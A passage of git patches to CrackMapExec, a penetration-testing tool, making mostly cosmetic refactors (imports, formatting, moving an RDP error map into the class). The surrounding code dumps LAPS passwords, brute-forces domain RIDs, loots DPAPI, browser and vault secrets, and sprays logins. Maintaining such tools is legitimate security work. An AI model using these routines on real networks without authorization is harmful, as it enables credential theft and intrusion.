KeyError: - continue + protocol_object = p_loader.load_protocol(protocols[protocol]["dbpath"]) + proto_db_path = path_join(WS_PATH, "default", f"{protocol}.db") - proto_db_path = os.path.join(WS_PATH, "default", protocol + ".db") - - if not os.path.exists(proto_db_path): + if not exists(proto_db_path): logger.debug(f"Initializing {protocol.upper()} protocol database") - conn = sqlite3.connect(proto_db_path) + conn = connect(proto_db_path) c = conn.cursor() # try to prevent some weird sqlite I/O errors c.execute( @@ -564,7 +571,7 @@ def initialize_db(logger): def main(): - if not os.path.exists(CONFIG_PATH): + if not exists(CONFIG_PATH): print("[-] Unable to find config file") sys.exit(1) try: diff --git a/cme/connection.py b/cme/connection.py index 7e87b585..218cb110 100755 --- a/cme/connection.py +++ b/cme/connection.py @@ -3,7 +3,8 @@ import random import socket -import sys +from socket import AF_INET, AF_INET6, SOCK_DGRAM, IPPROTO_IP, AI_CANONNAME +from socket import getaddrinfo from os.path import isfile from threading import BoundedSemaphore from functools import wraps @@ -21,23 +22,23 @@ user_failed_logins = {} def gethost_addrinfo(hostname): try: - for res in socket.getaddrinfo( + for res in getaddrinfo( hostname, None, - socket.AF_INET6, - socket.SOCK_DGRAM, - socket.IPPROTO_IP, - socket.AI_CANONNAME, + AF_INET6, + SOCK_DGRAM, + IPPROTO_IP, + AI_CANONNAME, ): af, socktype, proto, canonname, sa = res except socket.gaierror: - for res in socket.getaddrinfo( + for res in getaddrinfo( hostname, None, - socket.AF_INET, - socket.SOCK_DGRAM, - socket.IPPROTO_IP, - socket.AI_CANONNAME, + AF_INET, + SOCK_DGRAM, + IPPROTO_IP, + AI_CANONNAME, ): af, socktype, proto, canonname, sa = res if canonname == "": @@ -277,9 +278,7 @@ class connection(object): return True elif self.hash_login(domain, username, password): return True - elif cred_type == "plaintext" and not self.over_fail_limit( - username - ): + elif cred_type == "plaintext" and not self.over_fail_limit(username): if self.args.kerberos: if self.kerberos_login( domain, diff --git a/cme/crackmapexec.py b/cme/crackmapexec.py index 15b0aa31..c2ecb86a 100755 --- a/cme/crackmapexec.py +++ b/cme/crackmapexec.py @@ -15,16 +15,17 @@ from cme.paths import CME_PATH, DATA_PATH from cme.console import cme_console from cme.logger import cme_logger from cme.config import cme_config, cme_workspace, config_log, ignore_opsec -from concurrent.futures import ThreadPoolExecutor +from concurrent.futures import ThreadPoolExecutor, as_completed import asyncio import cme.helpers.powershell as powershell import shutil import webbrowser import random import os -import sys +from os.path import exists +from os.path import join as path_join +from sys import exit import logging -import concurrent.futures import sqlalchemy from rich.progress import Progress @@ -34,7 +35,7 @@ except: print( "Incompatible python version, try with another python version or another binary 3.8 / 3.9 / 3.10 / 3.11 that match your python version (python -V)" ) - sys.exit(1) + exit(1) def create_db_engine(db_path): @@ -64,7 +65,7 @@ async def start_run(protocol_obj, args, db, targets): executor.submit(protocol_obj, args, db, target) for target in targets ] - for future in concurrent.futures.as_completed(futures): + for future in as_completed(futures): current += 1 progress.update(tasks, completed=current) @@ -84,7 +85,8 @@ def main(): cme_logger.logger.setLevel(logging.ERROR) root_logger.setLevel(logging.ERROR) - # if these are the same, it might double log to file (two FileHandlers will be added), but this should never happen by accident + # if these are the same, it might double log to file (two FileHandlers will be added) + # but this should never happen by accident if config_log: cme_logger.add_file_log() if hasattr(args, "log") and args.log: @@ -94,16 +96,16 @@ def main(): if args.darrell: links = ( - open(os.path.join(DATA_PATH, "videos_for_darrell.harambe")) + open(path_join(DATA_PATH, "videos_for_darrell.harambe")) .read() .splitlines() ) try: webbrowser.open(random.choice(links)) - sys.exit(1) + exit(1) except Exception as e: cme_logger.error(f"Error opening le dank meme: {e}") - sys.exit(1) + exit(1) if args.protocol == "ssh": if args.key_file: @@ -111,15 +113,19 @@ def main(): cme_logger.fail( f"Password is required, even if a key file is used - if no passphrase for key, use `-p ''`" ) - sys.exit(1) + exit(1) if args.use_kcache and not os.environ.get("KRB5CCNAME"): cme_logger.error("KRB5CCNAME environment variable is not set") - sys.exit(1) + exit(1) module_server = None targets = [] - server_port_dict = {"http": 80, "https": 443, "smb": 445} + server_port_dict = { + "http": 80, + "https": 443, + "smb": 445 + } if hasattr(args, "cred_id") and args.cred_id: for cred_id in args.cred_id: @@ -131,11 +137,11 @@ def main(): args.cred_id.remove(cred_id) except Exception as e: cme_logger.error(f"Error parsing database credential id: {e}") - sys.exit(1) + exit(1) if hasattr(args, "target") and args.target: for target in args.target: - if os.path.exists(target): + if exists(target): target_file_type = identify_target_file(target) if target_file_type == "nmap": targets.extend(parse_nmap_xml(target, args.protocol)) @@ -169,7 +175,7 @@ def main(): protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), "database") cme_logger.debug(f"Protocol DB Object: {protocol_db_object}") - db_path = os.path.join(CME_PATH, "workspaces", cme_workspace, args.protocol + ".db") + db_path = path_join(CME_PATH, "workspaces", cme_workspace, f"{args.protocol}.db") cme_logger.debug(f"DB Path: {db_path}") db_engine = create_db_engine(db_path) @@ -186,13 +192,13 @@ def main(): for name, props in sorted(modules.items()): if args.protocol in props["supported_protocols"]: cme_logger.display(f"{name:<25} {props['description']}") - sys.exit(0) + exit(0) elif args.module and args.show_module_options: for module in args.module: cme_logger.display( f"{module} module options:\n{modules[module]['options']}" ) - sys.exit(0) + exit(0) elif args.module: cme_logger.debug(f"Modules to be Loaded: {args.module}, {type(args.module)}") for m in map(str.lower, args.module): @@ -205,31 +211,23 @@ def main(): if not module.opsec_safe: if ignore_opsec: - cme_logger.debug( - f"ignore_opsec is set in the configuration, skipping prompt" - ) - cme_logger.display( - f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded" - ) + cme_logger.debug(f"ignore_opsec is set in the configuration, skipping prompt") + cme_logger.display(f"Ignore OPSEC in configuration is set and OPSEC unsafe module loaded") else: - ans = input( - highlight( - "[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ", - "red", - ) - ) + ans = input(highlight( + "[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ", + "red", + )) if ans.lower() not in ["y", "yes", ""]: - sys.exit(1) + exit(1) if not module.multiple_hosts and len(targets) > 1: - ans = input( - highlight( - "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", - "red", - ) - ) + ans = input(highlight( + "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", + "red", + )) if ans.lower() not in ["y", "yes", ""]: - sys.exit(1) + exit(1) if hasattr(module, "on_request") or hasattr(module, "has_response"): if hasattr(module, "required_server"): @@ -240,7 +238,11 @@ def main(): # loading a module server multiple times will obviously fail try: - context = Context(db, cme_logger, args) + context = Context( + db, + cme_logger, + args + ) module_server = CMEServer( module, context, @@ -254,27 +256,21 @@ def main(): except Exception as e: cme_logger.error(f"Error loading module server for {module}: {e}") - cme_logger.debug( - f"proto_object: {protocol_object}, type: {type(protocol_object)}" - ) + cme_logger.debug(f"proto_object: {protocol_object}, type: {type(protocol_object)}") cme_logger.debug(f"proto object dir: {dir(protocol_object)}") # get currently set modules, otherwise default to empty list current_modules = getattr(protocol_object, "module", []) current_modules.append(module) setattr(protocol_object, "module", current_modules) - cme_logger.debug( - f"proto object module after adding: {protocol_object.module}" - ) + cme_logger.debug(f"proto object module after adding: {protocol_object.module}") if hasattr(args, "ntds") and args.ntds and not args.userntds: - ans = input( - highlight( - "[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user to dump a specific user safely or the module -M ntdsutil [Y/n] ", - "red", - ) - ) + ans = input(highlight( + "[!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user to dump a specific user safely or the module -M ntdsutil [Y/n] ", + "red", + )) if ans.lower() not in ["y", "yes", ""]: - sys.exit(1) + exit(1) try: asyncio.run(start_run(protocol_object, args, db, targets)) diff --git a/cme/first_run.py b/cme/first_run.py index 8159ef7e..d9b7d8b3 100755 --- a/cme/first_run.py +++ b/cme/first_run.py @@ -2,6 +2,9 @@ # -*- coding: utf-8 -*- import os +from os import mkdir +from os.path import exists +from os.path import join as path_join import shutil import configparser from configparser import NoSectionError, NoOptionError @@ -11,32 +14,32 @@ from cme.logger import cme_logger def first_run_setup(logger=cme_logger): - if not os.path.exists(TMP_PATH): - os.mkdir(TMP_PATH) + if not exists(TMP_PATH): + mkdir(TMP_PATH) - if not os.path.exists(CME_PATH): + if not exists(CME_PATH): logger.display("First time use detected") logger.display("Creating home directory structure") - os.mkdir(CME_PATH) + mkdir(CME_PATH) - folders = [ + folders = ( "logs", "modules", "protocols", "workspaces", "obfuscated_scripts", "screenshots", - ] + ) for folder in folders: - if not os.path.exists(os.path.join(CME_PATH, folder)): + if not exists(path_join(CME_PATH, folder)): logger.display(f"Creating missing folder {folder}") - os.mkdir(os.path.join(CME_PATH, folder)) + mkdir(path_join(CME_PATH, folder)) initialize_db(logger) - if not os.path.exists(CONFIG_PATH): + if not exists(CONFIG_PATH): logger.display("Copying default configuration file") - default_path = os.path.join(DATA_PATH, "cme.conf") + default_path = path_join(DATA_PATH, "cme.conf") shutil.copy(default_path, CME_PATH) else: # This is just a quick check to make sure the config file isn't the old 3.x format @@ -52,10 +55,10 @@ def first_run_setup(logger=cme_logger): logger.display( "Old configuration file detected, replacing with new version" ) - default_path = os.path.join(DATA_PATH, "cme.conf") + default_path = path_join(DATA_PATH, "cme.conf") shutil.copy(default_path, CME_PATH) - # if not os.path.exists(CERT_PATH): + # if not exists(CERT_PATH): # logger.display('Generating SSL certificate') # try: # check_output(['openssl', 'help'], stderr=PIPE) @@ -66,7 +69,7 @@ def first_run_setup(logger=cme_logger): # except OSError as e: # if e.errno == errno.ENOENT: # logger.error('OpenSSL command line utility is not installed, could not generate certificate, using default certificate') - # default_path = os.path.join(DATA_PATH, 'default.pem') + # default_path = path_join(DATA_PATH, 'default.pem') # shutil.copy(default_path, CERT_PATH) # else: # logger.error('Error while generating SSL certificate: {}'.format(e)) diff --git a/cme/logger.py b/cme/logger.py index f4953bd6..7c1d0023 100755 --- a/cme/logger.py +++ b/cme/logger.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- import logging +from logging import LogRecord from logging.handlers import RotatingFileHandler import os.path import sys @@ -148,10 +149,10 @@ class CMEAdapter(logging.LoggerAdapter): if self.logger.getEffectiveLevel() >= logging.INFO: # will be 0 if it's just the console output, so only do this if we actually have file loggers if len(self.logger.handlers): - for handler in self.logger.handlers: - try: + try: + for handler in self.logger.handlers: handler.handle( - logging.LogRecord( + LogRecord( "cme", 20, "", @@ -161,10 +162,8 @@ class CMEAdapter(logging.LoggerAdapter): exc_info=None, ) ) - except Exception as e: - self.logger.fail( - f"Issue while trying to custom print handler: {e}" - ) + except Exception as e: + self.logger.fail(f"Issue while trying to custom print handler: {e}") else: self.logger.info(text) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index d025feae..db443133 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -60,6 +60,7 @@ from datetime import datetime from functools import wraps from traceback import format_exc import logging +from json import loads smb_share_name = gen_random_string(5).upper() smb_server = None @@ -675,33 +676,25 @@ class smb(connection): from impacket.ldap import ldapasn1 as ldapasn1_impacket - results = [ - r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry) - ] + results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)] if len(results) != 0: for host in results: values = { - str(attr["type"]).lower(): str(attr["vals"][0]) - for attr in host["attributes"] + str(attr["type"]).lower(): str(attr["vals"][0]) for attr in host["attributes"] } if "mslaps-encryptedpassword" in values: self.logger.fail( "LAPS password is encrypted and currently CrackMapExec doesn't support the decryption..." ) - return False elif "mslaps-password" in values: - from json import loads - r = loads(values["mslaps-password"]) msMCSAdmPwd = r["p"] username = r["n"] elif "ms-mcs-admpwd" in values: msMCSAdmPwd = values["ms-mcs-admpwd"] else: - self.logger.fail( - "No result found with attribute ms-MCS-AdmPwd or msLAPS-Password" - ) + self.logger.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password") logging.debug( f"Host: {sAMAccountName:<20} Password: {msMCSAdmPwd} {self.hostname}" ) @@ -1775,9 +1768,7 @@ class smb(connection): policy_handle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation, ) - domain_sid = resp["PolicyInformation"]["PolicyAccountDomainInfo"][ - "DomainSid" - ].formatCanonical() + domain_sid = resp["PolicyInformation"]["PolicyAccountDomainInfo"]["DomainSid"].formatCanonical() so_far = 0 simultaneous = 1000 @@ -1792,10 +1783,13 @@ class smb(connection): sids = list() for i in range(so_far, so_far + sids_to_check): - sids.append(domain_sid + "-%d" % i) + sids.append(f"{domain_sid}-{i:d}") try: lsat.hLsarLookupSids( - dce, policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta + dce, + policy_handle, + sids, + lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta ) except DCERPCException as e: if str(e).find("STATUS_NONE_MAPPED") >= 0: @@ -1809,28 +1803,22 @@ class smb(connection): for n, item in enumerate(resp["TranslatedNames"]["Names"]): if item["Use"] != SID_NAME_USE.SidTypeUnknown: rid = so_far + n - domain = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]][ - "Name" - ] + domain = resp["ReferencedDomains"]["Domains"][item["DomainIndex"]]["Name"] user = item["Name"] sid_type = SID_NAME_USE.enumItems(item["Use"]).name self.logger.highlight(f"{rid}: {domain}\\{user} ({sid_type})") - entries.append( - { - "rid": rid, - "domain": domain, - "username": user, - "sidtype": sid_type, - } - ) + entries.append({ + "rid": rid, + "domain": domain, + "username": user, + "sidtype": sid_type, + }) so_far += simultaneous dce.disconnect() return entries def put_file(self): - self.logger.display( - f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}" - ) + self.logger.display(f"Copying {self.args.put_file[0]} to {self.args.put_file[1]}") with open(self.args.put_file[0], "rb") as file: try: self.conn.putFile(self.args.share, self.args.put_file[1], file.read) @@ -1841,9 +1829,7 @@ class smb(connection): self.logger.fail(f"Error writing file to share {self.args.share}: {e}") def get_file(self): - self.logger.display( - f"Copying {self.args.get_file[0]} to {self.args.get_file[1]}" - ) + self.logger.display(f"Copying {self.args.get_file[0]} to {self.args.get_file[1]}") file_handle = self.args.get_file[1] if self.args.append_host: file_handle = f"{self.hostname}-{self.args.get_file[1]}" @@ -1958,11 +1944,10 @@ class smb(connection): dc_conn = DPLootSMBConnection(dc_target) dc_conn.connect() # Connect to DC if dc_conn.is_admin(): - self.logger.success( - "User is Domain Administrator, exporting domain backupkey..." - ) + self.logger.success("User is Domain Administrator, exporting domain backupkey...") backupkey_triage = BackupkeyTriage( - target=dc_target, conn=dc_conn + target=dc_target, + conn=dc_conn ) backupkey = backupkey_triage.triage_backupkey() self.pvkbytes = backupkey.backupkey_v2 @@ -1995,9 +1980,7 @@ class smb(connection): plaintexts = { username: password - for _, _, username, password, _, _ in self.db.get_credentials( - cred_type="plaintext" - ) + for _, _, username, password, _, _ in self.db.get_credentials(cred_type="plaintext") } nthashes = { username: nt.split(":")[1] if ":" in nt else nt @@ -2010,9 +1993,7 @@ class smb(connection): # Collect User and Machine masterkeys try: - self.logger.display( - "Collecting User and Machine masterkeys, grab a coffee and be patient..." - ) + self.logger.display("Collecting User and Machine masterkeys, grab a coffee and be patient...") masterkeys_triage = MasterkeysTriage( target=target, conn=conn, @@ -2030,9 +2011,7 @@ class smb(connection): logging.fail("No masterkeys looted") return - self.logger.success( - f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets..." - ) + self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") try: # Collect User and Machine Credentials Manager secrets @@ -2076,7 +2055,9 @@ class smb(connection): # Collect Chrome Based Browser stored secrets dump_cookies = True if self.args.dpapi == "cookies" else False browser_triage = BrowserTriage( - target=target, conn=conn, masterkeys=masterkeys + target=target, + conn=conn, + masterkeys=masterkeys ) browser_credentials, cookies = browser_triage.triage_browsers( gather_cookies=dump_cookies @@ -2108,7 +2089,9 @@ class smb(connection): try: # Collect User Internet Explorer stored secrets vaults_triage = VaultsTriage( - target=target, conn=conn, masterkeys=masterkeys + target=target, + conn=conn, + masterkeys=masterkeys ) vaults = vaults_triage.triage_vaults() except Exception as e: diff --git a/cme/servers/smb.py b/cme/servers/smb.py index 57da9355..b89333a5 100755 --- a/cme/servers/smb.py +++ b/cme/servers/smb.py @@ -2,6 +2,7 @@ # -*- coding: utf-8 -*- import threading +from threading import enumerate from sys import exit from impacket import smbserver @@ -27,9 +28,7 @@ class CMESMBServer(threading.Thread): except Exception as e: errno, message = e.args if errno == 98 and message == "Address already in use": - logger.error( - "Error starting SMB server on port 445: the port is already in use" - ) + logger.error("Error starting SMB server on port 445: the port is already in use") else: logger.error(f"Error starting SMB server on port 445: {message}") exit(1) @@ -46,7 +45,7 @@ class CMESMBServer(threading.Thread): def shutdown(self): # TODO: should fine the proper way # make sure all the threads are killed - for thread in threading.enumerate(): + for thread in enumerate(): if thread.is_alive(): try: self._stop() From 8e274534787bb70276cc384ab31e796cda556362 Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Wed, 3 May 2023 16:36:13 -0400 Subject: [PATCH 10/76] refactor(linting): move rdp_error_status to be a local object variable since global variable lookups are slower --- cme/protocols/rdp.py | 50 ++++++++++++++++++++++---------------------- 1 file changed, 25 insertions(+), 25 deletions(-) diff --git a/cme/protocols/rdp.py b/cme/protocols/rdp.py index 631a3c7e..d88067d9 100644 --- a/cme/protocols/rdp.py +++ b/cme/protocols/rdp.py @@ -20,23 +20,6 @@ from asyauth.common.credentials.kerberos import KerberosCredential from asyauth.common.constants import asyauthSecret from asysocks.unicomm.common.target import UniTarget, UniProto -rdp_error_status = { - "0xc0000071": "STATUS_PASSWORD_EXPIRED", - "0xc0000234": "STATUS_ACCOUNT_LOCKED_OUT", - "0xc0000072": "STATUS_ACCOUNT_DISABLED", - "0xc0000193": "STATUS_ACCOUNT_EXPIRED", - "0xc000006E": "STATUS_ACCOUNT_RESTRICTION", - "0xc000006F": "STATUS_INVALID_LOGON_HOURS", - "0xc0000070": "STATUS_INVALID_WORKSTATION", - "0xc000015B": "STATUS_LOGON_TYPE_NOT_GRANTED", - "0xc0000224": "STATUS_PASSWORD_MUST_CHANGE", - "0xc0000022": "STATUS_ACCESS_DENIED", - "0xc000006d": "STATUS_LOGON_FAILURE", - "0xc000006a": "STATUS_WRONG_PASSWORD ", - "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", - "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED", -} - class rdp(connection): def __init__(self, args, db, host): @@ -77,6 +60,23 @@ class rdp(connection): self.target = None self.auth = None + self.rdp_error_status = { + "0xc0000071": "STATUS_PASSWORD_EXPIRED", + "0xc0000234": "STATUS_ACCOUNT_LOCKED_OUT", + "0xc0000072": "STATUS_ACCOUNT_DISABLED", + "0xc0000193": "STATUS_ACCOUNT_EXPIRED", + "0xc000006E": "STATUS_ACCOUNT_RESTRICTION", + "0xc000006F": "STATUS_INVALID_LOGON_HOURS", + "0xc0000070": "STATUS_INVALID_WORKSTATION", + "0xc000015B": "STATUS_LOGON_TYPE_NOT_GRANTED", + "0xc0000224": "STATUS_PASSWORD_MUST_CHANGE", + "0xc0000022": "STATUS_ACCESS_DENIED", + "0xc000006d": "STATUS_LOGON_FAILURE", + "0xc000006a": "STATUS_WRONG_PASSWORD ", + "KDC_ERR_CLIENT_REVOKED": "KDC_ERR_CLIENT_REVOKED", + "KDC_ERR_PREAUTH_FAILED": "KDC_ERR_PREAUTH_FAILED", + } + connection.__init__(self, args, db, host) @staticmethod @@ -364,9 +364,9 @@ class rdp(connection): except Exception as e: if "KDC_ERR" in str(e): reason = None - for word in rdp_error_status.keys(): + for word in self.rdp_error_status.keys(): if word in str(e): - reason = rdp_error_status[word] + reason = self.rdp_error_status[word] self.logger.fail( f"{domain}\\{username}{' from ccache' if useCache else ':%s' % (kerb_pass if not self.config.get('CME', 'audit_mode') else self.config.get('CME', 'audit_mode') * 8)} {f'({reason})' if reason else str(e)}", color="magenta" @@ -393,9 +393,9 @@ class rdp(connection): self.logger.fail(e) else: reason = None - for word in rdp_error_status.keys(): + for word in self.rdp_error_status.keys(): if word in str(e): - reason = rdp_error_status[word] + reason = self.rdp_error_status[word] if "cannot unpack non-iterable NoneType object" == str(e): reason = "User valid but cannot connect" self.logger.fail( @@ -455,9 +455,9 @@ class rdp(connection): ) else: reason = None - for word in rdp_error_status.keys(): + for word in self.rdp_error_status.keys(): if word in str(e): - reason = rdp_error_status[word] + reason = self.rdp_error_status[word] if "cannot unpack non-iterable NoneType object" == str(e): reason = "User valid but cannot connect" self.logger.fail( @@ -517,9 +517,9 @@ class rdp(connection): ) else: reason = None - for word in rdp_error_status.keys(): + for word in self.rdp_error_status.keys(): if word in str(e): - reason = rdp_error_status[word] + reason = self.rdp_error_status[word] if "cannot unpack non-iterable NoneType object" == str(e): reason = "User valid but cannot connect" From 9428a6e85cf6b7734216611849aa955ff042f88d Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Wed, 3 May 2023 16:38:46 -0400 Subject: [PATCH 11/76] fix formatting that was missed in previous revamp --- cme/protocols/rdp.py | 86 ++++++++++---------------------------------- 1 file changed, 19 insertions(+), 67 deletions(-) diff --git a/cme/protocols/rdp.py b/cme/protocols/rdp.py index d88067d9..9a4a5084 100644 --- a/cme/protocols/rdp.py +++ b/cme/protocols/rdp.py @@ -174,21 +174,22 @@ class rdp(connection): def print_host_info(self): if self.domain is None: - self.logger.display( - f"Probably old, doesn't not support HYBRID or HYBRID_EX (nla:{self.nla})" - ) + self.logger.display(f"Probably old, doesn't not support HYBRID or HYBRID_EX (nla:{self.nla})") else: - self.logger.display( - f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) (nla:{self.nla})" - ) + self.logger.display(f"{self.server_os} (name:{self.hostname}) (domain:{self.domain}) (nla:{self.nla})") return True def create_conn_obj(self): self.target = RDPTarget( - ip=self.host, domain="FAKE", timeout=self.args.rdp_timeout + ip=self.host, + domain="FAKE", + timeout=self.args.rdp_timeout ) self.auth = NTLMCredential( - secret="pass", username="user", domain="FAKE", stype=asyauthSecret.PASS + secret="pass", + username="user", + domain="FAKE", + stype=asyauthSecret.PASS ) self.check_nla() @@ -303,9 +304,7 @@ class rdp(connection): if not password: password = getenv("KRB5CCNAME") if not password else password if "/" in password: - self.logger.fail( - "Kerberos ticket need to be on the local directory" - ) + self.logger.fail("Kerberos ticket need to be on the local directory") return False ccache = CCache.loadFile(getenv("KRB5CCNAME")) ticketCreds = ccache.credentials[0] @@ -349,11 +348,7 @@ class rdp(connection): if not self.config.get("CME", "audit_mode") else self.config.get("CME", "audit_mode") * 8 ), - highlight( - f'({self.config.get("CME", "pwn3d_label")})' - if self.admin_privs - else "" - ), + self.mark_pwned(), ) ) if not self.args.local_auth: @@ -378,16 +373,7 @@ class rdp(connection): ) elif "Authentication failed!" in str(e): self.logger.success( - "{}\\{}:{} {}".format( - domain, - username, - password, - highlight( - f'({self.config.get("CME", "pwn3d_label")})' - if self.admin_privs - else "" - ), - ) + f"{domain}\\{username}:{password} {self.mark_pwned()}" ) elif "No such file" in str(e): self.logger.fail(e) @@ -424,16 +410,7 @@ class rdp(connection): self.admin_privs = True self.logger.success( - "{}\\{}:{} {}".format( - domain, - username, - password, - highlight( - f'({self.config.get("CME", "pwn3d_label")})' - if self.admin_privs - else "" - ), - ) + f"{domain}\\{username}:{password} {self.mark_pwned()}" ) if not self.args.local_auth: add_user_bh(username, domain, self.logger, self.config) @@ -442,16 +419,7 @@ class rdp(connection): except Exception as e: if "Authentication failed!" in str(e): self.logger.success( - "{}\\{}:{} {}".format( - domain, - username, - password, - highlight( - f'({self.config.get("CME", "pwn3d_label")})' - if self.admin_privs - else "" - ), - ) + f"{domain}\\{username}:{password} {self.mark_pwned()}" ) else: reason = None @@ -486,16 +454,7 @@ class rdp(connection): self.admin_privs = True self.logger.success( - "{}\\{}:{} {}".format( - self.domain, - username, - ntlm_hash, - highlight( - f'({self.config.get("CME", "pwn3d_label")})' - if self.admin_privs - else "" - ), - ) + f"{self.domain}\\{username}:{ntlm_hash} {self.mark_pwned()}" ) if not self.args.local_auth: add_user_bh(username, domain, self.logger, self.config) @@ -504,16 +463,7 @@ class rdp(connection): except Exception as e: if "Authentication failed!" in str(e): self.logger.success( - "{}\\{}:{} {}".format( - domain, - username, - ntlm_hash, - highlight( - f'({self.config.get("CME", "pwn3d_label")})' - if self.admin_privs - else "" - ), - ) + f"{domain}\\{username}:{ntlm_hash} {self.mark_pwned()}" ) else: reason = None @@ -537,7 +487,9 @@ class rdp(connection): async def screen(self): try: self.conn = RDPConnection( - iosettings=self.iosettings, target=self.target, credentials=self.auth + iosettings=self.iosettings, + target=self.target, + credentials=self.auth ) await self.connect_rdp() except Exception as e: From d6608ab018c1e6b06c69758e3120f4dd01e0a45b Mon Sep 17 00:00:00 2001 From: Marshall Hallenbeck Date: Wed, 3 May 2023 16:43:44 -0400 Subject: [PATCH 12/76] mssql db_navigator format fix --- cme/protocols/mssql/db_navigator.py | 147 ++++++++++++++++++++-------- 1 file changed, 105 insertions(+), 42 deletions(-) diff --git a/cme/protocols/mssql/db_navigator.py b/cme/protocols/mssql/db_navigator.py index 814d937c..5fda5a8e 100644 --- a/cme/protocols/mssql/db_navigator.py +++ b/cme/protocols/mssql/db_navigator.py @@ -7,7 +7,14 @@ from cme.cmedb import DatabaseNavigator, print_table, print_help class navigator(DatabaseNavigator): def display_creds(self, creds): - data = [["CredID", "Admin On", "CredType", "Domain", "UserName", "Password"]] + data = [[ + "CredID", + "Admin On", + "CredType", + "Domain", + "UserName", + "Password" + ]] for cred in creds: cred_id = cred[0] @@ -18,20 +25,26 @@ class navigator(DatabaseNavigator): # pillaged_from = cred[5] links = self.db.get_admin_relations(user_id=cred_id) - data.append( - [ - cred_id, - str(len(links)) + " Host(s)", - credtype, - domain, - username, - password, - ] - ) + data.append([ + cred_id, + str(len(links)) + " Host(s)", + credtype, + domain, + username, + password, + ]) print_table(data, title="Credentials") def display_hosts(self, hosts): - data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "DB Instances"]] + data = [[ + "HostID", + "Admins", + "IP", + "Hostname", + "Domain", + "OS", + "DB Instances" + ]] for host in hosts: host_id = host[0] ip = host[1] @@ -42,17 +55,15 @@ class navigator(DatabaseNavigator): links = self.db.get_admin_relations(host_id=host_id) - data.append( - [ - host_id, - str(len(links)) + " Cred(s)", - ip, - hostname, - domain, - os, - instances, - ] - ) + data.append([ + host_id, + str(len(links)) + " Cred(s)", + ip, + hostname, + domain, + os, + instances, + ]) print_table(data, title="Hosts") def do_hosts(self, line): @@ -67,7 +78,13 @@ class navigator(DatabaseNavigator): if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: - data = [["HostID", "IP", "Hostname", "Domain", "OS"]] + data = [[ + "HostID", + "IP", + "Hostname", + "Domain", + "OS" + ]] host_id_list = [] for host in hosts: @@ -79,11 +96,23 @@ class navigator(DatabaseNavigator): domain = host[3] os = host[4] - data.append([host_id, ip, hostname, domain, os]) + data.append([ + host_id, + ip, + hostname, + domain, + os + ]) print_table(data, title="Host(s)") - data = [["CredID", "CredType", "Domain", "UserName", "Password"]] + data = [[ + "CredID", + "CredType", + "Domain", + "UserName", + "Password" + ]] for host_id in host_id_list: links = self.db.get_admin_relations(host_id=host_id) @@ -99,7 +128,13 @@ class navigator(DatabaseNavigator): credtype = cred[4] # pillaged_from = cred[5] - data.append([cred_id, credtype, domain, username, password]) + data.append([ + cred_id, + credtype, + domain, + username, + password + ]) print_table(data, title="Credential(s) with Admin Access") def do_creds(self, line): @@ -137,7 +172,13 @@ class navigator(DatabaseNavigator): self.display_creds(creds) else: creds = self.db.get_credentials(filter_term=filter_term) - data = [["CredID", "CredType", "Domain", "UserName", "Password"]] + data = [[ + "CredID", + "CredType", + "Domain", + "UserName", + "Password" + ]] cred_id_list = [] for cred in creds: @@ -149,11 +190,23 @@ class navigator(DatabaseNavigator): username = cred[3] password = cred[4] - data.append([cred_id, credType, domain, username, password]) + data.append([ + cred_id, + credType, + domain, + username, + password + ]) print_table(data, title="Credential(s)") - data = [["HostID", "IP", "Hostname", "Domain", "OS"]] + data = [[ + "HostID", + "IP", + "Hostname", + "Domain", + "OS" + ]] for cred_id in cred_id_list: links = self.db.get_admin_relations(user_id=cred_id) @@ -168,19 +221,23 @@ class navigator(DatabaseNavigator): domain = host[3] os = host[4] - data.append([host_id, ip, hostname, domain, os]) + data.append([ + host_id, + ip, + hostname, + domain, + os + ]) print_table(data, title="Admin Access to Host(s)") def do_clear_database(self, line): - if ( - input( - "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " - ) - == "y" - ): + if (input( + "This will destroy all data in the current database, are you SURE you want to run this? (y/n): " + ) == "y"): self.db.clear_database() - def help_clear_database(self): + @staticmethod + def help_clear_database(): help_string = """ clear_database THIS COMPLETELY DESTROYS ALL DATA IN THE CURRENTLY CONNECTED DATABASE @@ -192,8 +249,10 @@ class navigator(DatabaseNavigator): """ Tab-complete 'creds' commands """ - commands = ["add", "remove"] - + commands = ( + "add", + "remove" + ) mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] @@ -202,8 +261,12 @@ class navigator(DatabaseNavigator): """ Tab-complete 'creds' commands """ - commands = ["add", "remove", "hash", "plaintext"] - + commands = ( + "add", + "remove", + "hash", + "plaintext" + ) mline = line.partition(" ")[2] offs = len(mline) - len(text) return [s[offs:] for s in commands if s.startswith(mline)] From f4401182bd96cffed4728b07ce09c1666f79a936 Mon Sep 17 00:00:00 2001 From: Marshall 